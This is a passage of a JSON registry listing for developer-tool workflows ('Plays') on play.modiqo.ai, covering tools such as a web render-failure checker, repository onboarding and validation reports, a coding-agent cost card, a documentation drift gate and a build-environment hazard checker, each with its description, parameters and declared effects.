loads each internal route directly, the way a refresh does; compares the HTML a phone is served against the HTML a desktop is served; and reads the HTML cache policy against the build-hashed filenames it names, which is how a returning visitor ends up requesting bundles a deploy has already deleted. Five probes run as parallel root steps and the asset and route checks fan out; any probe that cannot complete becomes a labelled unknown instead of failing the play, because a partial check and a healthy page must not read the same. It does not execute JavaScript, so a runtime exception in code that loaded correctly is out of scope and the report says so. Read-only: it makes GET and HEAD requests to the address you give it and nothing else, carries no credentials, writes nothing, and needs only python3.","owner":{"kind":"user","slug":"charan"},"registry_organization":"charan","tags":["effect-read-only","audience-developers","domain-web-operations","job-render-failure-diagnosis","web-operations","frontend-workflows","broken-links","deployment","tool-shell","hackathon"],"primary_domain":"domain-web-operations","author":"charan","version":"0.2.0","published_at":"2026-09-05T10:59:55.633341+00:00","visibility":"public","quality_score":1,"size_bytes":23506,"license":"MIT","stats":{"downloads":7,"installs":0},"steps":{"count":9,"names":["soft_404","dns_probe","tls_probe","page_fetch","cache_policy","mobile_fetch","probe_assets","route_probes","host_variants"]},"parameters":[{"name":"url","type":"string","required":true,"description":"The page to inspect. A bare host is upgraded to https, and redirects are followed to the address a visitor actually lands on, so the assets are read from the page that is really served.","example":"https://example.com"},{"name":"max_assets","type":"string","required":false,"default":"60","description":"Cap on how many referenced files are requested. A page referencing more than this says so in its report rather than reporting a clean result it did not earn. Raise it for an asset-heavy page.","example":"60"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0d6e611d12283b8454371622b89c004608f9fcac5559628cbd9c07cc1165d3cd","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":9,"kinds":{"api":0,"shell":9,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":5,"fan_out":6,"for_each_steps":2,"complexity":9,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":9}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/new-repo-speedrun@0.2.23","reference":"sakshamsai26/new-repo-speedrun@0.2.23","uri":"https://play.modiqo.ai/sakshamsai26/new-repo-speedrun@0.2.23","manifest_uri":"https://play.modiqo.ai/sakshamsai26/new-repo-speedrun@0.2.23","name":"new-repo-speedrun","title":"new-repo-speedrun","description":"Turn unfamiliar-repository archaeology into a short starting guide: purpose signals, directories, entrypoints, declared tests, setup clues, and environment contracts. Read-only.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.23","published_at":"2026-09-05T08:58:26.508166+00:00","visibility":"public","quality_score":1,"size_bytes":7820,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":10,"names":["boundary","classify","speedrun","inventory","preflight","constraints","write_report","recommendations","parallel_targets","parallel_evidence"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute repository path you are authorized to inspect."},{"name":"parallel_file_limit","type":"string","required":false,"default":"24","description":"Maximum safe repository files to inspect concurrently for supplemental evidence, from 1 to 100. Files are selected deterministically, dependency/vendor directories and symlinks are excluded, and no file content or environment value is printed. Lower limits make file-level coverage PARTIAL."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7b190e6a6f3a47981b2fcdb2b6ee16d41f36d39dbd6f9096303aa1111279f863","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":10,"kinds":{"api":0,"shell":10,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":9,"fan_out":8,"for_each_steps":1,"complexity":10,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":10}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/fresh-clone-validator@0.2.24","reference":"sakshamsai26/fresh-clone-validator@0.2.24","uri":"https://play.modiqo.ai/sakshamsai26/fresh-clone-validator@0.2.24","manifest_uri":"https://play.modiqo.ai/sakshamsai26/fresh-clone-validator@0.2.24","name":"fresh-clone-validator","title":"fresh-clone-validator","description":"Audit whether a local repository appears ready for a brand-new developer to install, configure, run, and use. Read-only: never runs project code or reads secret values.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.24","published_at":"2026-09-05T08:33:41.674508+00:00","visibility":"public","quality_score":1,"size_bytes":7781,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":13,"names":["risks","scope","analyze","boundary","classify","inventory","preflight","dependencies","verification","write_report","recommendations","parallel_targets","parallel_evidence"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute local repository directory"},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the repository. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes repository files."},{"name":"parallel_file_limit","type":"string","required":false,"default":"24","description":"Maximum safe repository files to inspect concurrently for supplemental evidence, from 1 to 100. Files are selected deterministically, dependency/vendor directories and symlinks are excluded, and no file content or environment value is printed. Lower limits make file-level coverage PARTIAL."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:1797f903da926d4c90eedd586701e975c71a711fd60818c8c601464416db1e0a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":13,"kinds":{"api":0,"shell":13,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":11,"fan_out":8,"for_each_steps":1,"complexity":13,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":13}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/api-first-call@0.2.23","reference":"sakshamsai26/api-first-call@0.2.23","uri":"https://play.modiqo.ai/sakshamsai26/api-first-call@0.2.23","manifest_uri":"https://play.modiqo.ai/sakshamsai26/api-first-call@0.2.23","name":"api-first-call","title":"api-first-call","description":"Turn API documentation or a snippet plus a desired action into a smallest-first request draft with endpoint, method, headers, body, examples, response expectations, and common mistakes. Never exposes supplied secrets or calls the API.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","api","onboarding","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.23","published_at":"2026-09-05T08:33:10.108092+00:00","visibility":"public","quality_score":1,"size_bytes":8412,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":13,"names":["draft","risks","scope","boundary","classify","evidence","planning","inventory","preflight","constraints","dependencies","verification","write_report"]},"parameters":[{"name":"docs","type":"string","required":true,"description":"API docs or snippet; exclude credentials."},{"name":"action","type":"string","required":true,"description":"Desired API action."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2eacd9cb0dccdb261766c4bd2c2b1dcdb7828f4681d1da98222c59004d96e2db","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":13,"kinds":{"api":0,"shell":13,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":12,"fan_out":0,"for_each_steps":0,"complexity":13,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":13}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajkaria/comped@0.1.5","reference":"rajkaria/comped@0.1.5","uri":"https://play.modiqo.ai/rajkaria/comped@0.1.5","manifest_uri":"https://play.modiqo.ai/rajkaria/comped@0.1.5","name":"comped","title":"comped","description":"Every coding session on this machine wrote down exactly what it consumed, and none of it is readable by hand. This reads all of it: Claude Code including the subagent transcripts in subdirectories, where four in ten usage lines are streaming duplicates that must be collapsed before pricing, Codex, whose counters are cumulative and need differencing, and Pi. You get one card: the API list-price equivalent of the last N days per model, the multiplier against the plan you actually pay for, your cache-read share, and how all of it moved since your last run. Under it, the jobs you have asked your agent for three or more times, each with its repeat cost and the exact play settle command to capture it. Then what those repeats would have cost as Plays, at Modiqo's stated 98% and at a conservative 80%. Prices come from a bundled table that names its source and as-of date; a model the table does not know is reported as tokens and never priced by guess. You do not tell it what you run: the model ids in your own logs name the providers behind them -- Claude, GPT/Codex, Kimi, GLM, DeepSeek, Gemini, Grok, Qwen -- and every subscription those providers sell is priced on the card at once, the least flattering one marked as assumed, so you read your row instead of typing it. It refuses to open your OAuth files to find the tier, and the card says plainly that list price is not a bill. Read-only and no credentials. Writes a Markdown report, an SVG card, a PNG when the machine can render one, and a small baseline for next run's delta, all under the folder you choose. Then, unless you say leaderboard=false, it posts the score to the gotcomped.com leaderboard and prints your rank: that is the one thing this Play ever sends, and the exact payload is saved next to the card so you can read it. Point claude_dir at resources/fixtures/claude to see a full run on synthetic logs before you run it on your own.\n- Reads: session logs under the four configured directories. Nothing else. - Never reads: `~/.claude.json`, `~/.codex/auth.json`, any credential, keychain or token file. Which AI you run is inferred from the model ids already in those logs; the plan tier is never read from your account. - Never sends from the core: reading, pricing and rendering make no network calls. Verifiable: `comped_core` imports no `urllib`, `http`, `socket`, `subprocess` (except the PNG renderer, which is invoked with a fixed argv and no shell). The one step that talks to the network is `comped`'s `post_score`, a separate short script that sends your score to the gotcomped.com leaderboard after the card is written and nothing before; `leaderboard=false` skips it, and a failed post never fails the run. - Writes: only under `out_dir`. Every written path is listed in the report. - Message text: truncated to 120 chars and hashed by default. `redact=false` keeps full text locally, never in the card.\nSee also: `session-ledger` (the normalized ledger this reads) and `wrong-turns` (recurring mistakes, with drafted rules). Docs, the full methodology and a worked example: https://gotcomped.com","owner":{"kind":"user","slug":"rajkaria"},"registry_organization":"rajkaria","tags":["domain-agent-operations","job-agent-cost-review","job-repeat-ask-detection","audience-developers","effect-read-only","tool-claude-code","tool-codex"],"primary_domain":"domain-agent-operations","author":"rajkaria","version":"0.1.5","published_at":"2026-09-05T08:24:36.433315+00:00","visibility":"public","quality_score":1,"size_bytes":163658,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":9,"names":["read_pi","post_score","read_codex","read_claude","render_card","find_repeats","merge_ledger","price_ledger","read_opencode"]},"parameters":[{"name":"days_back","type":"integer","required":false,"default":"30","description":"Filter on each record's own timestamp.","example":"30"},{"name":"out_dir","type":"string","required":false,"default":"~/comped","description":"Created if missing. Everything this Play writes goes here and nowhere else.","example":"~/comped"},{"name":"claude_dir","type":"string","required":false,"default":"~/.claude/projects","description":"Set to resources/fixtures/claude for a demo run on synthetic logs.","example":"resources/fixtures/claude"},{"name":"codex_dir","type":"string","required":false,"default":"~/.codex/sessions","description":"Set to resources/fixtures/codex for a demo run on synthetic logs.","example":"resources/fixtures/codex"},{"name":"pi_dir","type":"string","required":false,"default":"~/.pi/agent/sessions","description":"Best-effort adapter; the source note says so.","example":"resources/fixtures/pi"},{"name":"opencode_dir","type":"string","required":false,"default":"~/.local/share/opencode/storage","description":"Best-effort adapter; the source note says so.","example":"resources/fixtures/opencode/storage"},{"name":"include_subagents","type":"string","required":false,"default":"true","description":"Claude Code subagent transcripts. true or false.","example":"true"},{"name":"redact","type":"string","required":false,"default":"true","description":"true stores a 120-character truncation plus sha256; false keeps full text locally, never in a card.","example":"true"},{"name":"plan","type":"string","required":false,"default":"auto","description":"Leave it. auto reads the model ids already in your logs, names the providers behind them (Claude, GPT/Codex, Kimi, GLM, DeepSeek, Gemini, Grok, Qwen and the rest) and prices every tier those providers sell, marking the least flattering one as assumed -- you read your own row instead of typing it. Override with a comma-separated list of ids, or usd:<amount> for a subscription this table does not carry. This Play never opens your OAuth files to find out.","example":"auto"},{"name":"repeat_threshold","type":"integer","required":false,"default":"3","description":"Minimum asks for a repeat offender; also needs 2 sessions and 2 days.","example":"3"},{"name":"rates_path","type":"string","required":false,"default":"","description":"Path to a prices.json that replaces the bundled table.","example":""},{"name":"handle","type":"string","required":false,"default":"","description":"Your name on the gotcomped.com leaderboard, and in the /play settle command. Blank posts anonymously (anon-xxxx). gotcomped.com/run.sh fills in your rote handle.","example":"priya"},{"name":"card_theme","type":"string","required":false,"default":"dark","description":"dark or light.","example":"dark"},{"name":"leaderboard","type":"string","required":false,"default":"true","description":"true posts your score to gotcomped.com after the card is written and prints your rank: the multiplier, tier, list-price total, plan, detected providers, days, and your handle. Nothing else, ever; the exact payload is saved to out_dir/comped-rank.json. false sends nothing, and the run is then entirely offline.","example":"true"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0453f0e68e1eca3b43377512c9cd18cfcc08d747e561d98ee82633859bbadffa","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":9,"kinds":{"api":0,"shell":9,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":6,"width":4,"fan_out":0,"for_each_steps":0,"complexity":9,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":9}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/gloriae/developer-continuity-report@0.2.2","reference":"gloriae/developer-continuity-report@0.2.2","uri":"https://play.modiqo.ai/gloriae/developer-continuity-report@0.2.2","manifest_uri":"https://play.modiqo.ai/gloriae/developer-continuity-report@0.2.2","name":"developer-continuity-report","title":"developer-continuity-report","description":"Reconstruct repository handoff state from Git evidence and name the next action.","owner":{"kind":"user","slug":"gloriae"},"registry_organization":"gloriae","tags":["git","developer-continuity","typescript"],"primary_domain":"domain-uncategorized","author":"Gloriae60001","version":"0.2.2","published_at":"2026-09-05T07:23:05.206237+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":7249,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":6,"names":["working_tree","latest_change","previous_work","recent_history","validate_repository","optional_test_results"]},"parameters":[{"name":"repository_path","type":"string","required":true,"description":"Absolute path to the local Git repository to inspect."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0e8dfef9d1637abe3f0d55aa515357f3cc92a99e1c8c6f207aee0b0074148df8","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":5,"fan_out":0,"for_each_steps":0,"complexity":6,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4},{"name":"git","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/sakshamsai26/mock-api-from-example@0.3.3","reference":"sakshamsai26/mock-api-from-example@0.3.3","uri":"https://play.modiqo.ai/sakshamsai26/mock-api-from-example@0.3.3","manifest_uri":"https://play.modiqo.ai/sakshamsai26/mock-api-from-example@0.3.3","name":"mock-api-from-example","title":"mock-api-from-example","description":"Turn example JSON or a short response description into a static mock API contract, write it as a new artifact, and optionally create a GitHub issue containing it. It never starts a server or overwrites files.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","api-design","mock-data","artifact-authoring","github-issues","effect-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.3.3","published_at":"2026-09-05T07:01:48.787036+00:00","visibility":"public","quality_score":1,"size_bytes":7190,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":4,"names":["generate","auth_github","create_issue","write_contract"]},"parameters":[{"name":"example","type":"string","required":true,"description":"Example JSON or response description; exclude secrets."},{"name":"output_dir","type":"string","required":true,"description":"Absolute directory for the newly written mock-api-contract.md artifact. Existing artifacts are never overwritten."},{"name":"github_owner","type":"string","required":false,"default":"","description":"GitHub repository owner, required only when publish_issue is true."},{"name":"github_repo","type":"string","required":false,"default":"","description":"GitHub repository name, required only when publish_issue is true."},{"name":"publish_issue","type":"boolean","required":false,"default":false,"description":"Create a GitHub issue containing the generated contract. Defaults to false."}],"execution":{"adapters":[{"id":"sakshamsai26/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":["create_issue"],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":true},"integrity":{"digest":"sha256:b395dbbf1018469b7c5bd81bf3f7a631c4ce825d5ac8ad5f3cea6a02f58d9880","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":1,"shell":2,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":3,"width":2,"fan_out":0,"for_each_steps":0,"complexity":8,"apis":[{"adapter":"github","steps":2,"methods":["issues/create"],"display_name":"github","host":"api.github.com","kind":"rest","tools":1224,"fingerprint":"mcp_uogxetWJ9s2mSDiBKftmvwkDfu","source":"sakshamsai26/github","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":["create_issue"],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":1,"tools":1224},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/sakshamsai26/demo-data-factory@0.2.4","reference":"sakshamsai26/demo-data-factory@0.2.4","uri":"https://play.modiqo.ai/sakshamsai26/demo-data-factory@0.2.4","manifest_uri":"https://play.modiqo.ai/sakshamsai26/demo-data-factory@0.2.4","name":"demo-data-factory","title":"demo-data-factory","description":"Create a synthetic demo-data blueprint, save it as a new artifact, and optionally create a GitHub issue containing it. Never reads production data or modifies an existing file.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["synthetic-data","developer-tools","artifact-authoring","github-issues","effect-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.4","published_at":"2026-09-05T07:01:03.95739+00:00","visibility":"public","quality_score":1,"size_bytes":8674,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":4,"names":["factory","auth_github","create_issue","write_blueprint"]},"parameters":[{"name":"schema","type":"string","required":true,"description":"App data/schema description; use synthetic examples only."},{"name":"output_dir","type":"string","required":true,"description":"Absolute directory for the newly written demo-data-blueprint.md artifact. Existing artifacts are never overwritten."},{"name":"github_owner","type":"string","required":false,"default":"","description":"GitHub repository owner, required only when publish_issue is true."},{"name":"github_repo","type":"string","required":false,"default":"","description":"GitHub repository name, required only when publish_issue is true."},{"name":"publish_issue","type":"boolean","required":false,"default":false,"description":"Create a GitHub issue containing the generated blueprint. Defaults to false."}],"execution":{"adapters":[{"id":"sakshamsai26/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":["create_issue"],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":true},"integrity":{"digest":"sha256:a50d9a57c8cd75666ff51696b39559b94f382cf812c76b0777d1a2604c9c125f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":1,"shell":2,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":3,"width":2,"fan_out":0,"for_each_steps":0,"complexity":8,"apis":[{"adapter":"github","steps":2,"methods":["issues/create"],"display_name":"github","host":"api.github.com","kind":"rest","tools":1224,"fingerprint":"mcp_uogxetWJ9s2mSDiBKftmvwkDfu","source":"sakshamsai26/github","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":["create_issue"],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":1,"tools":1224},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/himanshu-jha/play-smoke-test@0.2.1","reference":"himanshu-jha/play-smoke-test@0.2.1","uri":"https://play.modiqo.ai/himanshu-jha/play-smoke-test@0.2.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/play-smoke-test@0.2.1","name":"play-smoke-test","title":"play-smoke-test","description":"Inspects a Play and, when authorized, runs a bounded smoke test. By default this inspects only and withholds execution, because a self-declared effect-read-only tag is not proof of safety. Set allow_effects=true to authorize one bounded run with a credential-free HOME and environment. Inspection fingerprints every regular file in the complete bounded play package—including dependency/runtime manifests, helpers, resources and fixtures, regardless of directory name—with relative paths, modes and contents, while rejecting every symlink and partial over-limit bundle. Before execution it verifies the same digest, copies that exact package into an isolated snapshot, verifies the snapshot again, and runs the snapshot, so later source mutation cannot change what executes. The run captures at most 64 KiB per stream, never returns child output, and terminates the whole process group. It reports exit status, duration, and step counts, not whether the target answer is correct. The authorized target may still perform any effect its code can reach, including network or absolute-path writes, so review it before opting in.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-write","audience-developers","domain-devtools","rote","play-authoring","quality","review"],"primary_domain":"domain-devtools","author":"himanshu-jha","version":"0.2.1","published_at":"2026-09-05T05:14:15.672229+00:00","visibility":"public","quality_score":1,"size_bytes":10778,"license":"MIT","stats":{"downloads":7,"installs":0},"steps":{"count":2,"names":["run_it","inspect"]},"parameters":[{"name":"play","type":"string","required":false,"default":"build-environment-traps","description":"The play to review: a local play name, a play directory, or its main.ts. Steps run in the play run workspace rather than your shell, so a relative path resolves somewhere you did not mean.","example":"/Users/me/.rote/flows/my-play"},{"name":"owner","type":"string","required":false,"default":"","description":"Your registry org slug, passed through to play-quality-doctor so it can derive the source_url fix instead of reporting it underivable.","example":"himanshu-jha"},{"name":"allow_effects","type":"string","required":false,"default":"false","description":"Set true to explicitly authorize executing the target. Off by default for every target because an effect-read-only tag is only a claim, not a sandbox.","example":"true"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c5a5b6ff20d4f35c78d2f3ccc979528acee47de72280df324cb220f6df7e5074","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/documentation-change-coupling-proof@0.1.4","reference":"himanshu-jha/documentation-change-coupling-proof@0.1.4","uri":"https://play.modiqo.ai/himanshu-jha/documentation-change-coupling-proof@0.1.4","manifest_uri":"https://play.modiqo.ai/himanshu-jha/documentation-change-coupling-proof@0.1.4","name":"documentation-change-coupling-proof","title":"documentation-change-coupling-proof","description":"Gates repository and PR documentation against the current public contract and its Git coupling history. Use it on interface-changing PRs, before each release cut, and during incidents caused by misleading runbooks. Four sibling probes prove deleted paths/scripts, prove removed flags/config keys, measure whether relevant interface commits are newer than their docs, and audit evidence completeness. The join emits PROVEN_STALE only for a current contradiction backed by removal evidence. Code/CLI/config/public-interface changes after the relevant docs last changed produce TEMPORAL_RISK. Missing required evidence produces UNKNOWN. Directory links remain present while tracked descendants still resolve, and historical path proof verifies that the claimed file or directory itself disappeared across the cited commit. Python flags count as current only when AST inspection proves an imported argparse/optparse parser receiver or imported Click/Typer option declaration; historical token removal likewise requires a parser-backed interface transition. Comments, standalone strings, lookalike add_argument methods, malformed code, and unsupported token-only sources never produce a clean COUPLED or false PROVEN_STALE verdict. Findings are ordered into a remediation queue. It reads tracked files and Git metadata only, never executes repository code or scripts, writes nothing, makes no network calls, and does not print source patches or secrets. Run with repo=/absolute/path/to/repository, or omit repo for the bundled demo repository and history evidence. Limits: Markdown contract extraction is conservative, semantic prose truth beyond recognized paths/scripts/flags/config keys needs human review, non-Python CLI declarations without parser-backed inventory remain UNKNOWN, and rewritten/shallow history constrains proof.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-maintainers","domain-documentation","git-history","pr-gate","release-gate","contract-drift","temporal-coupling","python"],"primary_domain":"domain-documentation","author":"himanshu748","version":"0.1.4","published_at":"2026-09-05T05:09:42.990993+00:00","visibility":"public","quality_score":1,"size_bytes":30218,"license":"MIT","stats":{"downloads":7,"installs":0},"steps":{"count":5,"names":["prove_flag_and_config_contradictions","prove_path_and_script_contradictions","measure_documentation_temporal_coupling","synthesize_documentation_coupling_proof","audit_documentation_evidence_completeness"]},"parameters":[{"name":"repo","type":"string","required":false,"default":"","description":"Absolute path to a local Git repository. Omit it for the bundled demo repo/evidence; pass repo=/work/repositories/service-api for a fresh PR or release gate.","example":"/work/repositories/service-api"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8156e6ced021d88a1f8a7467c901a64ce40da9b2279b6cca2cbcd40b7a985a01","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":4,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/build-environment-traps@0.1.3","reference":"himanshu-jha/build-environment-traps@0.1.3","uri":"https://play.modiqo.ai/himanshu-jha/build-environment-traps@0.1.3","manifest_uri":"https://play.modiqo.ai/himanshu-jha/build-environment-traps@0.1.3","name":"build-environment-traps","title":"build-environment-traps","description":"Checks four build-environment hazards: cloud-synced project directories, evicted cloud placeholders, paths with spaces, and tracked filenames that differ only by case. In iCloud, Dropbox, OneDrive or Google Drive folders, sync activity can contend with builds over thousands of node_modules files and leave a build hanging at 0% CPU. Evicted files can appear missing or empty. Scripts can truncate unquoted paths containing spaces. On the default case-insensitive macOS filesystem, two tracked files that differ only by case can leave the working tree out of sync with the repository. Four probes run as parallel DAG steps. Each can return a labeled indeterminate result without failing the play. A synced folder is reported as a risk; a synced folder that already contains a dependency directory is reported as a blocker. Read-only: never writes, never downloads, and never touches a cloud placeholder in a way that would pull it down. Needs python3, and git only for the case check, which is reported as unread rather than clean when git is unavailable.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-developers","domain-devtools","macos","icloud","build","troubleshooting"],"primary_domain":"domain-devtools","author":"himanshu748","version":"0.1.3","published_at":"2026-09-05T05:08:12.815683+00:00","visibility":"public","quality_score":1,"size_bytes":16747,"license":"MIT","stats":{"downloads":7,"installs":0},"steps":{"count":6,"names":["cloud_sync","path_shape","assess_traps","dataless_files","case_collisions","validate_target"]},"parameters":[{"name":"project","type":"string","required":false,"default":"","description":"Absolute path to the project directory to inspect. Leave it out and the most recently committed repository under your usual project directories is used, with the report naming which one it chose. A relative path is never right here: steps run in the play run workspace, not your 